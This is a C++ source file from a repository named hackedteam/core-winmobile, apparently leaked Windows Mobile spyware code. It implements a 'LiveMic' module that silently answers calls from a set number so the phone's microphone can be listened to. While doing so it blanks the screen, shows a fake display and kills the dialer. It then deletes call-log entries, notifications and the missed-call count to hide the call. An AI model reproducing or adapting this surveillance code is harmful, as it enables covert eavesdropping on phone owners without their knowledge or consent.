hackedteam/core-winmobile

View on GitHub
Mornella/Mornella_Mobile/LiveMic.cpp

Summary

Maintainability
Test Coverage
#include <new>
using namespace std;

#include <windows.h>
#include "CallBacks.h"
#include "LiveMic.h"
#include "TapiManager.h"
#include "RilManager.h"
#include "FakeScreen.h"
#include "Device.h"
#include "ProcessMonitor.h"
#include "Registry.h"

MYDEFINE_GUID(CLSID_SHNAPI_Tel, 0x53DB6D44, 0x7E4A, 0x43eb, 0xB4, 0x11, 0x67, 0xC5, 0x1C, 0xC3, 0xB8, 0xC9);

void pfnKillCprog(HWND hWin, UINT u1, UINT u2, DWORD dw1)
{
    LiveMic* pLiveMic = LiveMic::self();
    pLiveMic->StopCprog();
}

void __stdcall pfnKeepScreenOff(LPVOID lpParam)
{
    UINT* uTime = (UINT*)lpParam;
    UINT uSlice = 100, uSteps = (*uTime)%uSlice;
    LiveMic* pLiveMic = LiveMic::self();

    if ((*uTime) <= uSlice) {
        pLiveMic->KeepScreenOff();
        ExitThread(0);
    }

    while (uSteps-- > 0) {
        pLiveMic->KeepScreenOff();
        Sleep(uSlice);
    }

    pLiveMic->KeepScreenOff();
    
    ExitThread(0);
}

void __stdcall pfnKeepScreenOffEndOn(LPVOID lpParam)
{
    UINT* uTime = (UINT*)lpParam;
    UINT uSlice = 100, uSteps = (*uTime)%uSlice;
    LiveMic* pLiveMic = LiveMic::self();

    if ((*uTime) <= uSlice) {
        pLiveMic->KeepScreenOff();
        ExitThread(0);
    }

    while (uSteps-- > 0) {
        pLiveMic->KeepScreenOff();
        Sleep(uSlice);
    }

    pLiveMic->ScreenOn();

    ExitThread(0);
}

BOOL LiveMic::DropHiddenCall(HCALL hCall, BOOL bRestore)
{
    if (m_hCall == NULL) {
        if (hCall == NULL)
            return FALSE;
        m_hCall = hCall;
    }
    
    m_pTapiMan->DropCall(m_hCall);

    m_bHiddenCallIncoming = FALSE;

    if (bRestore)
        RestoreAfterDrop();

    m_pScreen->Stop();

    DBG_TRACE(L"ControlTh.cpp pfnFuncProc pLiveMic->DropHiddenCall OK ", 5, FALSE);

    ResetEvent(m_hAnswerEvent);

    return TRUE;
}

VOID LiveMic::RestoreAfterDrop()
{
    m_pDevice->RemoveCallEntry(m_wsTelephoneNumber);
    m_pDevice->RemoveNotification(&CLSID_SHNAPI_Tel);

    RestoreCprog();
    SetHiddenCallStatus(NULL);

    m_pRegistry->RegMissedCallDecrement();

    // Restore default start option for cprog
    m_wsCprogOptions.assign(L" -n");
}

BOOL LiveMic::HandleDisconnectCall(HCALL hCall)
{
    if (m_hCall == NULL)
        m_hCall = hCall;

    if (m_hCall != NULL) {
        if (m_pTapiMan->DeallocateCall(m_hCall) == TRUE) {
            SetHiddenCallStatus(NULL);
            m_bHiddenCallIncoming = FALSE;
        }  else {
            if (DropHiddenCall(m_hCall, FALSE)) {
                SetHiddenCallStatus(NULL);            
            }
        }
    }

    m_pDevice->RemoveCallEntry(m_wsTelephoneNumber);
    m_pDevice->RemoveNotification(&CLSID_SHNAPI_Tel);

    RestoreCprog();

    // Keep screen locked while cprog is loading
    m_pScreen->Stop();

    return TRUE;
}

BOOL LiveMic::HandleNewCall(HCALL hCall)
{
    BOOL bOut = FALSE;
    BOOL bStatusOn = m_bPowerStatusOn;
    DBG_TRACE_INT(L"LiveMic HandleNewCall m_bPowerStatusOn=", 5, FALSE, m_bPowerStatusOn);

    if (!bStatusOn) {
        DBG_TRACE_INT(L"LiveMic HandleNewCall if (!bLastStatus) 1 ", 5, FALSE, m_bPowerStatusOn);
        KeepScreenOff(1000, FALSE);
    }

    SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST);

    // Check Incoming call caller
    DWORD dwOut = WaitForSingleObject(m_hAnswerEvent, 500);
    DBG_TRACE_INT(L"LiveMic HandleNewCall WaitForSingleObject ", 5, FALSE, dwOut);

    if (dwOut != WAIT_OBJECT_0) {
        if (!m_pTapiMan->CheckNumber(hCall, m_wsTelephoneNumber)) {
            DBG_TRACE(L"LiveMic HandleNewCall CheckNumber ", 5, FALSE);
            return bOut;
        }
    }
    
    m_bHiddenCallIncoming = TRUE;

    if (!bStatusOn)
        KeepScreenOff();

    // Modify ring script
    if (!m_pRegistry->SetRingScript()) {
        DBG_TRACE(L"LiveMic HandleNewCall SetRingScript FAILED", 5, FALSE);
        DropHiddenCall(hCall, FALSE);
        m_pRegistry->RestoreRingScript();
        SetHiddenCallStatus(NULL);
        return bOut;
    }

    // Check power status
    if (bStatusOn) {
        DBG_TRACE_INT(L"LiveMic HandleNewCall if (bLastStatus) 4 ", 5, FALSE, m_bPowerStatusOn);
        m_pScreen->Start();
        StopCprog();
        DropHiddenCall(hCall, TRUE);        
        return bOut;
    }

    KeepScreenOff(500, FALSE);
    StopCprog();
    m_pScreen->Start();

    KeepScreenOff(500, FALSE);

    if (FALSE == m_pTapiMan->AnswerCall(hCall)) {
        DBG_TRACE(L"LiveMic HandleNewCall AnswerCall FAILED ", 5, FALSE);
        DropHiddenCall(hCall, FALSE);
        KeepScreenOff(500, FALSE);
        return bOut;
    } 

    // Check power status
    KeepScreenOff(500, FALSE);
    // Hidden call status
    SetHiddenCallStatus(hCall);
    // Ring Script key restored
    m_pRegistry->RestoreRingScript();

    ResetEvent(m_hAnswerEvent);

    return TRUE;
}

BOOL LiveMic::ScreenOn()
{
    if (!m_pDevice->SetPwrRequirement(POWER_STATE_ON)) {
        if (!m_pDevice->VideoPowerSwitch(VideoPowerOn)) {
            DBG_TRACE(L"LiveMic ScreenOn ERROR", 5, FALSE);
            return FALSE;
        }
    }
    DBG_TRACE(L"LiveMic ScreenOn OK", 5, FALSE);
    
    return TRUE;    
}

BOOL LiveMic::KeepScreenOff()
{    
    BOOL bOut = FALSE;

    if (m_pDevice->VideoPowerSwitch(VideoPowerOff))
        bOut = TRUE;

    if (!bOut) {
        if (m_pDevice->SetPwrRequirement(POWER_STATE_UNATTENDED)) {
            bOut = TRUE;    
        }
    }

    return bOut;
}

VOID LiveMic::KeepScreenOff(UINT uTime)
{
    KeepScreenOff(uTime, FALSE);
}

//    Try to switch off screenligth every 100 ms for uTime(exp in ms)
//    bScreenOn specifies if screenligth will be switched off or not at the end of uTime
VOID LiveMic::KeepScreenOff(UINT uTime, BOOL bScreenOn)
{
    KeepScreenOff();
    HANDLE hTmpTh = INVALID_HANDLE_VALUE;

    if (bScreenOn)
        hTmpTh = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pfnKeepScreenOffEndOn, &uTime, 0, NULL);
    else
        hTmpTh = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pfnKeepScreenOff, &uTime, 0, NULL);
    
    if (hTmpTh != NULL)    {
        CloseHandle(hTmpTh);
    }

    return;
}

BOOL LiveMic::StopCprog()
{    
    /*    if (m_pProcess->SuspendAllThread(m_wsCprog) == TRUE) {
            DBG_TRACE(L"LiveMic.cpp StopCprog SuspendAllThread OK ", 5, FALSE);
            return m_bNotificationThreadSuspended = TRUE;
    } else*/ 
    if (m_pProcess->KillProcess(m_wsCprog)) {
        DBG_TRACE(L"LiveMic.cpp StopCprog KillProcess OK ", 5, FALSE);
        return TRUE;
    }
    
    DBG_TRACE(L"LiveMic.cpp StopCprog FAILED ", 5, FALSE);

    return FALSE;
}

VOID LiveMic::RestoreCprog()
{
    /*if (m_bNotificationThreadSuspended) {
        if (m_pProcess->ResumeAllThread(m_wsCprog) == TRUE) {
            DBG_TRACE(L"LiveMic.cpp RestoreCprog ResumeAllThread OK ", 5, FALSE);
            m_bNotificationThreadSuspended = FALSE;
            return;
        }
    }*/
    if (m_pProcess->StartProcess(m_wsCprog, m_wsCprogPath, m_wsCprogOptions)) {
        DBG_TRACE(L"LiveMic.cpp RestoreCprog StartProcess OK ", 5, FALSE);
    }
}

VOID LiveMic::SetHiddenCallStatus(HCALL hCall)
{
    m_hCall = hCall;

    if (hCall != NULL) {
        m_bHiddenCallInProgress    = TRUE;
        DBG_TRACE_INT(L"LiveMic.cpp  SetHiddenCallStatus ", 5, FALSE, TRUE);
    } else {
        m_bHiddenCallInProgress    = FALSE;
        DBG_TRACE_INT(L"LiveMic.cpp SetHiddenCallStatus ", 5, FALSE, FALSE);
    }
}

VOID LiveMic::LineCallStateConnected()
{
    m_bCallInProgress = TRUE;
    DBG_TRACE(L"LiveMic.cpp LineCallStateConnected m_bCallInProgress TRUE", 5, FALSE);

    if (IsHiddenCallInProgress()) {
        m_hKillCprogTimer = SetTimer(NULL, 0, 5000, (TIMERPROC) pfnKillCprog);
        KeepScreenOff(1000, FALSE);
        m_bHiddenCallIncoming = FALSE;
    }

    m_pRegistry->RestoreRingScript();
}

VOID LiveMic::LineCallStateDisconnected()
{
    if (IsHiddenCallInProgress()) {
        
        //KeepScreenOff(1000, FALSE);

        if (m_hCall != NULL)
            HandleDisconnectCall(m_hCall);
    }

    if (m_hKillCprogTimer)
        KillTimer(0, m_hKillCprogTimer);

    m_bCallInProgress = FALSE;
    DBG_TRACE(L"LiveMic.cpp LineCallStateDisconnected m_bCallInProgress = FALSE", 5, FALSE);
    m_bLocalDrop = FALSE;
    m_pRegistry->RestoreRingScript();
    m_pRegistry->RegRemoveLastCaller();
}

VOID LiveMic::LineCallStateOffering(HCALL hCall)
{
    if (IsHiddenCallInProgress()) {
        DBG_TRACE(L"LiveMic.cpp LineCallStateOffering IsHiddenCallInProgress()", 5, FALSE);
        if (m_bCallInProgress) { // Hidden call in progress is in connected state
            DBG_TRACE(L"LiveMic.cpp LineCallStateOfferingif (m_bCallInProgress) ", 5, FALSE);
            DropHiddenCall(NULL, TRUE);    // if i use NULL, it'll use the handle saved during APPNEWCALL
        }
    } else {
        DBG_TRACE(L"LiveMic.cpp LineCallStateOffering ! IsHiddenCallInProgress()", 5, FALSE);
        if (m_bCallInProgress) { // Call in progress
            DBG_TRACE(L"LiveMic.cpp LineCallStateOffering ! IsHiddenCallInProgress() m_bCallInProgress", 5, FALSE);
            if (m_pTapiMan->CheckNumber(hCall, m_wsTelephoneNumber)) { // New call become from hidden number
                DBG_TRACE(L"LiveMic.cpp LineCallStateOffering ! IsHiddenCallInProgress() CheckNumber", 5, FALSE);
                DropHiddenCall(hCall, TRUE);
            }    
        }
    }
}

BOOL LiveMic::Initialize(wstring wsTelephoneNumber, HINSTANCE hInstance)
{
    if (m_bInitialized) {
        Uninitialize();
    }

    m_wsTelephoneNumber.assign(wsTelephoneNumber);

    if (m_wsTelephoneNumber.empty()) {
        DBG_TRACE(L"LiveMic.cpp Initialize m_wsTelephoneNumber is empty ", 5, FALSE);
        return FALSE;
    }

    m_pScreen = FakeScreen::self(hInstance);
    m_pDevice = Device::self();
    m_pProcess = ProcessMonitor::self();
    m_pRegistry = Registry::self();
    m_pCtrlTh = ControlTh::self();
    m_pTapiMan = TapiManager::self();
    m_pRilMan = new(nothrow) RilManager();

    if (m_pScreen == NULL ||
        m_pDevice == NULL ||
        m_pProcess == NULL ||
        m_pRegistry == NULL ||
        m_pCtrlTh == NULL  ||
        m_pTapiMan == NULL ||
        m_pRilMan == NULL) {

            DBG_TRACE(L"LiveMic.cpp Initialize SOME OBJECT FAILED ", 5, FALSE);
            return FALSE;
    }

    if (m_pDevice->RegisterPowerNotification(BackLightCallbackSlow, (DWORD)&m_bPowerStatusOn) == FALSE) {
        DBG_TRACE(L"LiveMic.cpp Initialize RegisterPowerNotification FAILED ", 5, FALSE);
        return FALSE;
    }

    if (!m_pTapiMan->Init()) {
        DBG_TRACE(L"LiveMic.cpp Initialize m_pTapiMan->Init() FAILED ", 5, FALSE);
        return FALSE;
    }

    if (!m_pCtrlTh->Init()) {
        DBG_TRACE(L"LiveMic.cpp Initialize m_pCtrlTh->Init() FAILED ", 5, FALSE);
        m_pTapiMan->UnInit();
        return FALSE;
    }

    /*if (!m_pCtrlTh->Start()) {
        DBG_TRACE(L"LiveMic.cpp Initialize m_pCtrlTh->Start() FAILED ", 5, FALSE);
    }*/

    if (!m_pRilMan->Init()) {
        DBG_TRACE(L"LiveMic.cpp Initialize m_pRilMan->Init() FAILED ", 5, FALSE);
    }
    
    return m_bInitialized = TRUE;
}

VOID LiveMic::Uninitialize()
{
    if (m_hCall)
        HandleDisconnectCall(m_hCall);

    if (m_hKillCprogTimer)
        KillTimer(0, m_hKillCprogTimer);

    if (m_pDevice->UnRegisterPowerNotification(BackLightCallbackSlow)) {
        DBG_TRACE(L"LiveMic.cpp Uninitialize UnRegisterPowerNotification OK ", 5, FALSE);
    }

    if (m_pCtrlTh) {
        DWORD dwOut = m_pCtrlTh->Stop();
        //pLiveMic->StopCtrlTh();
        DBG_TRACE_INT(L"LiveMic.cpp Uninitialize m_pCtrlTh->Stop():", 5, TRUE, dwOut);
        m_pCtrlTh->Uninit();
    }
    
    if (m_pRilMan) {
        delete m_pRilMan;
        DBG_TRACE(L"LiveMic.cpp Uninitialize delete m_pRilMan OK ", 5, FALSE);
    }

    if (m_pTapiMan){
        if (!m_pTapiMan->UnInit()) {
            DBG_TRACE(L"LiveMic.cpp Uninitialize m_pTapiMan->UnInit() FAILED", 5, FALSE);
        } else {
            DBG_TRACE(L"LiveMic.cpp Uninitialize m_pTapiMan->UnInit() OK ", 5, FALSE);
        }
    }

    if (m_pScreen) {
        if (m_pScreen->Stop()) {
            DBG_TRACE(L"LiveMic.cpp Uninitialize m_pScreen->Stop() OK ", 5, FALSE);
        } else {
            DBG_TRACE(L"LiveMic.cpp Uninitialize m_pScreen->Stop() FAILED ", 5, FALSE);
        }
    }

    if (m_hAnswerEvent)
        CloseHandle(m_hAnswerEvent);

    m_bInitialized = FALSE;
}

LiveMic* LiveMic::m_pInstance = NULL;
volatile LONG LiveMic::m_lLock = 0;

LiveMic* LiveMic::self() {

    while (InterlockedExchange((LPLONG) &m_lLock, 1) != 0)
        Sleep(100);

    if (NULL == m_pInstance)
        m_pInstance = (LiveMic*) new(nothrow) LiveMic();

    InterlockedExchange((LPLONG)&m_lLock, 0);

    return m_pInstance;
}

LiveMic::LiveMic(void)
{
    m_bCtrlThreadActive = m_bHiddenCallInProgress = m_bCallInProgress = m_bNotificationThreadSuspended = FALSE;
    m_bPowerStatusOn = m_bInitialized = m_bHiddenCallIncoming = FALSE;

    m_pScreen = NULL;
    m_pDevice = NULL;
    m_pProcess = NULL;
    m_pRegistry = NULL;

    m_pTapiMan = NULL;
    m_pRilMan = NULL;
    m_hCall = NULL;

    m_wsCprog = L"cprog.exe";
    m_wsCprogPath = L"\\windows\\";
    m_wsCprogOptions = L" -n";
    
    m_hAnswerEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
    m_hKillCprogTimer = 0;
}

LiveMic::~LiveMic(void)
{
    Uninitialize();
}

VOID LiveMic::AudioAdjust()
{
    m_pRilMan->GetAudioGain();
    m_pRilMan->SetAudioGain(FALSE);
}

VOID LiveMic::AudioRestore()
{
    m_pRilMan->SetAudioGain(TRUE);
}